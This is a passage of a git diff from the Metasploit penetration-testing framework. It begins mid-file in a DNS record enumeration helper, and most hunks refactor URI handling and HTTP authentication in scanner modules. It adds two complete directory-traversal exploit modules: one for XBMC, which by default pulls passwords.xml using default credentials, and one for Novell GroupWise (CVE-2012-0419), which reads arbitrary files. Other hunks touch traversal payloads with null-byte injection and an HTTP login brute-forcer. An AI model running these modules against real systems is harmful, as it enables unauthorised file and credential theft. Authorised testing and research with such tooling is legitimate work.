not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + rescue + end + end + return results + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end +end + diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 8b114dbdd8..218427cc1f 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary )) # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN', + deregister_options('RPORT','RHOST', 'DOMAIN', 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL') + 'NTLM::UseNTLMv2','SSL') register_options( [ diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index db04a3a2f8..e03844bf80 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary "uri" => user_url, "method" => "GET", "vars_get" => { - "author" => user_id + "author" => user_id.to_s } }) @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache") + url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") uri << hash_path result = nil diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb new file mode 100644 index 0000000000..a1bcb87489 --- /dev/null +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -0,0 +1,91 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "XBMC Web Server Directory Traversal", + 'Description' => %q{ + This module exploits a directory traversal bug in XBMC 11, up until the + 2012-11-04 nightly build. The module can only be used to retrieve files. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton + 'Lucas "acidgen" Lundgren IOActive', + 'Matt "hostess" Andreko ' + ], + 'References' => + [ + ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], + ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], + ['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'], + ], + 'DisclosureDate' => "Nov 4 2012" + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), + OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']), + OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']), + ], self.class) + end + + def run + # No point to continue if no filename is specified + if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty? + print_error("Please supply the name of the file you want to download") + return + end + + # Create request + traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep + begin + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']) + }, 25) + rescue Rex::ConnectionRefused + print_error("#{rhost}:#{rport} Could not connect.") + return + end + + # Show data if needed + if res + if res.code == 200 + vprint_line(res.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'xbmc.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + elsif res.code == 401 + print_error("#{rhost}:#{rport} Authentication failed") + elsif res.code == 404 + print_error("#{rhost}:#{rport} File not found") + end + else + print_error("HTTP Response failed") + end + end +end diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 6f1ada9d10..18d2d942ab 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - Sending request...") - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index e94787a50a..d3e7d5f4ec 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) @@ -71,7 +71,7 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface") soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 7f7166f93e..13dc14ef16 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' + base = target_uri.path peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -61,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'encode_params' => false, - 'uri' => "#{base}gmap/view_overlay.php", + 'uri' => normalize_uri(base, "gmap/view_overlay.php"), 'vars_get' => { 'overlay_type' => "#{traverse}#{fname}%00" } diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index fd57fda9bb..9486262be7 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Cisco Device HTTP Device Manager Access', 'Description' => %q{ This module gathers data from a Cisco device (router or switch) with the device manager - web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify + web interface exposed. The USERNAME and PASSWORD options can be used to specify authentication. }, 'Author' => [ 'hdm' ], @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} Successfully authenticated to this device") # Report a vulnerability only if no password was specified - if datastore['BasicAuthPass'].to_s.length == 0 + if datastore['PASSWORD'].to_s.length == 0 report_vuln( { diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 5919941a75..f851e2596b 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' peer = "#{ip}:#{rport}" @@ -58,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}index.php", + 'uri' => normalize_uri(base, "index.php"), 'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png" }) diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index af224e664a..23e159e537 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -44,10 +44,10 @@ class Metasploit4 < Msf::Auxiliary end def run_host(rhost) - url = normalize_uri(datastore['URI']) + url = normalize_uri(datastore['URI'], '/index.php/members') begin - res = send_request_raw({'uri' => "#{url}/index.php/members"}) + res = send_request_raw({'uri' => url}) rescue ::Rex::ConnectionError print_error("#{peer} Unable to connect to #{url}") diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 6d50554d98..8488c24dd0 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -21,6 +21,9 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) + register_advanced_options([ + OptString.new('ExcludePathPatterns', [false, 'Newline-separated list of path patterns to ignore (\'*\' is a wildcard)']), + ]) @for_each_page_blocks = [] end @@ -31,6 +34,17 @@ class Metasploit3 < Msf::Auxiliary end =end + # Overrides Msf::Auxiliary::HttpCrawler#get_link_filter to add + # datastore['ExcludePathPatterns'] + def get_link_filter + return super if datastore['ExcludePathPatterns'].to_s.empty? + + patterns = opt_patterns_to_regexps( datastore['ExcludePathPatterns'].to_s ) + patterns = patterns.map { |r| "(#{r.source})" } + + Regexp.new( [["(#{super.source})"] | patterns].join( '|' ) ) + end + def run super @@ -163,31 +177,34 @@ class Metasploit3 < Msf::Auxiliary end end - form = {}.merge!(form_template) - form[:method] = (f['method'] || 'GET').upcase - form[:query] = target.query.to_s if form[:method] != "GET" - form[:path] = target.path - form[:params] = [] - f.css('input', 'textarea').each do |inp| - form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] - end - - f.css( 'select' ).each do |s| - value = nil - - # iterate over each option to find the default value (if there is a selected one) - s.children.each do |opt| - ov = opt['value'] || opt.content - value = ov if opt['selected'] + # skip this form if it matches exclusion criteria + if !(target.to_s =~ get_link_filter) + form = {}.merge!(form_template) + form[:method] = (f['method'] || 'GET').upcase + form[:query] = target.query.to_s if form[:method] != "GET" + form[:path] = target.path + form[:params] = [] + f.css('input', 'textarea').each do |inp| + form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] end - # set the first one as the default value if we don't already have one - value ||= s.children.first['value'] || s.children.first.content rescue '' + f.css( 'select' ).each do |s| + value = nil - form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] + # iterate over each option to find the default value (if there is a selected one) + s.children.each do |opt| + ov = opt['value'] || opt.content + value = ov if opt['selected'] + end + + # set the first one as the default value if we don't already have one + value ||= s.children.first['value'] || s.children.first.content rescue '' + + form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] + end + + forms << form end - - forms << form end end @@ -252,4 +269,14 @@ class Metasploit3 < Msf::Auxiliary form[:method] ? form : nil end + private + def opt_patterns_to_regexps( patterns ) + magic_wildcard_replacement = Rex::Text.rand_text_alphanumeric( 10 ) + patterns.to_s.split( /[\r\n]+/).map do |p| + Regexp.new '^' + Regexp.escape( p.gsub( '*', magic_wildcard_replacement ) ). + gsub( magic_wildcard_replacement, '.*' ) + '$' + end + end + + end diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 97a97ae75d..dfbaca5d16 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index a48c352431..a58f98fb73 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(target_uri) + path = normalize_uri(target_uri.path) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb new file mode 100644 index 0000000000..1cd2f5df07 --- /dev/null +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -0,0 +1,91 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell Groupwise Agents HTTP Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in Novell Groupwise. + The vulnerability exists in the web interface of both the Post Office and the + MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2 + over Windows 2003 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'r () b13$', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0419' ], + [ 'OSVDB', '85801' ], + [ 'BID', '55648' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7010772' ] + ] + )) + + register_options( + [ + Opt::RPORT(7181), # Also 7180 can be used + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) + ], self.class) + end + + def is_groupwise? + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'].to_s =~ /GroupWise/ + return true + else + return false + end + end + + def run_host(ip) + + if not is_groupwise? + vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface") + return + end + + travs = "" + travs << "../" * datastore['DEPTH'] + + travs = normalize_uri("/help/", travs, datastore['FILEPATH']) + + vprint_status("#{rhost}:#{rport} - Sending request...") + res = send_request_cgi({ + 'uri' => travs, + 'method' => 'GET', + }) + + if res and res.code == 200 + contents = res.body + fname = File.basename(datastore['FILEPATH']) + path = store_loot( + 'novell.groupwise', + 'application/octet-stream', + ip, + contents, + fname + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + return + end + end +end diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index af6efdbdfc..4fdb5bab93 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -60,8 +60,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -91,8 +93,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the SiteScope Configuration") + uri = normalize_uri(@uri, 'services/APISiteScopeImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APISiteScopeImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index e58d4282b9..e3fb1fe573 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -59,8 +59,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Connecting to SiteScope SOAP Interface") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'GET'}) if not res @@ -95,8 +97,10 @@ class Metasploit4 < Msf::Auxiliary print_status("#{@peer} - Retrieving the file contents") + uri = normalize_uri(@uri, 'services/APIMonitorImpl') + res = send_request_cgi({ - 'uri' => "#{@uri}services/APIMonitorImpl", + 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 5a6b0ab9a6..13a8f2a733 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -48,9 +48,8 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri_and_scheme + def find_auth_uri - path_and_scheme = [] if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else @@ -67,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res @@ -76,25 +77,16 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res end - next if not res.code == 401 - next if not res.headers['WWW-Authenticate'] - path_and_scheme << path - case res.headers['WWW-Authenticate'] - when /Basic/i - path_and_scheme << "Basic" - when /NTLM/i - path_and_scheme << "NTLM" - when /Digest/i - path_and_scheme << "Digest" - end - return path_and_scheme + return path end - return path_and_scheme + return path end def target_url @@ -106,12 +98,11 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") print_error("You need need to set AUTH_URI when using PUT Method !") return end - @uri, @scheme = find_auth_uri_and_scheme() + @uri = find_auth_uri if ! @uri print_error("#{target_url} No URI found that asks for HTTP authentication") return @@ -119,12 +110,7 @@ class Metasploit3 < Msf::Auxiliary @uri = "/#{@uri}" if @uri[0,1] != "/" - if ! @scheme - print_error("#{target_url} Incompatible authentication scheme") - return - end - - print_status("Attempting to login to #{target_url} with #{@scheme} authentication") + print_status("Attempting to login to #{target_url}") each_user_pass { |user, pass| do_login(user, pass) @@ -133,27 +119,21 @@ class Metasploit3 < Msf::Auxiliary def do_login(user='admin', pass='admin') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") - success = false - proof = "" - ret = do_http_login(user,pass,@scheme) - return :abort if ret == :abort - if ret == :success - proof = @proof.dup - success = true - end + response = do_http_login(user,pass) + result = determine_result(response) - if success + if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") any_user = false any_pass = false vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme) + any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme) + any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) if any_user == :success user = "anyuser" @@ -175,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :user => user, :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{proof}", + :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", :source_type => "user_supplied", :active => true ) @@ -188,142 +168,25 @@ class Metasploit3 < Msf::Auxiliary end end - def do_http_login(user,pass,scheme) - case scheme - when /NTLM/i - do_http_auth_ntlm(user,pass) - when /Digest/i - do_http_auth_digest(user,pass,datastore['REQUESTTYPE']) - when /Basic/i - do_http_auth_basic(user,pass) - else - vprint_error("#{target_url}: Unknown authentication scheme") - return :abort - end - end - - def do_http_auth_ntlm(user,pass) + def do_http_login(user,pass) begin - resp,c = send_http_auth_ntlm( + response = send_request_cgi({ 'uri' => @uri, + 'method' => datastore['REQUESTTYPE'], 'username' => user, 'password' => pass - ) - c.close - return :abort if (resp.code == 404) - - if [200, 301, 302].include?(resp.code) - @proof = resp - return :success - end - + }) + return response rescue ::Rex::ConnectionError vprint_error("#{target_url} - Failed to connect to the web server") - return :abort + return nil end - - return :fail end - def do_http_auth_basic(user,pass) - user_pass = Rex::Text.encode_base64(user + ":" + pass) - - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - - return :fail - end - - def do_http_auth_digest(user,pass,requesttype) - path = datastore['AUTH_URI'] || "/" - begin - if requesttype == "PUT" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => 'Test123\r\n', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - elsif requesttype == "PROPFIND" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => '', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass, - 'headers' => { 'Depth' => '0'} - }, 25) - else - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - end - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) - if ((res.code == 201) and (requesttype == "PUT")) - print_good("Trying to delete #{path}") - del_res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => 'DELETE', - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - if not (del_res.code == 204) - print_error("#{path} could be created, but not deleted again. This may have been noisy ...") - end - end - @proof = res - return :success - end - - if (res.code == 207) and (requesttype == "PROPFIND") - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - + def determine_result(response) + return :abort unless response.kind_of? Rex::Proto::Http::Response + return :abort unless response.code + return :success if [200, 301, 302].include?(response.code) return :fail end diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index f7ab2fd9a7..f0e18eedae 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -81,7 +81,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'PUT', 'ctype' => 'text/plain', 'data' => data, @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => path, + 'uri' => normalize_uri(path), 'method' => 'DELETE', 'ctype' => 'text/html', }, 20 @@ -119,7 +119,7 @@ class Metasploit4 < Msf::Auxiliary # Main function for the module, duh! # def run_host(ip) - path = normalize_uri(datastore['PATH']) + path = datastore['PATH'] data = datastore['FILEDATA'] if path[-1,1] != '/' diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index a5f6c194f8..eedc2a72ce 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Auxiliary source against PHP applications. The 'WRITABLE' action can be used to determine if the trigger can be used to write files outside the www directory. - To use the 'COOKIE' option, set your value like so: "name=value". To use - the 'BASICAUTH' option, set it like this: "username:password". + To use the 'COOKIE' option, set your value like so: "name=value". }, 'Author' => [ @@ -70,8 +69,7 @@ class Metasploit3 < Msf::Auxiliary # We favor automatic OptString.new('TRIGGER', [false,'Trigger string. Ex: ../', '']), OptString.new('FILE', [false, 'Default file to read for the fuzzing stage', '']), - OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']), - OptString.new('BASICAUTH', [false, 'Credential to use for basic auth (Ex: admin:admin)', '']) + OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']) ], self.class) deregister_options('RHOST') @@ -155,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? req['data'] = datastore['DATA'] if not datastore['DATA'].empty? - req['basic_auth'] = datastore['BASICAUTH'] if not datastore['BASICAUTH'].empty? + req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) return req end diff 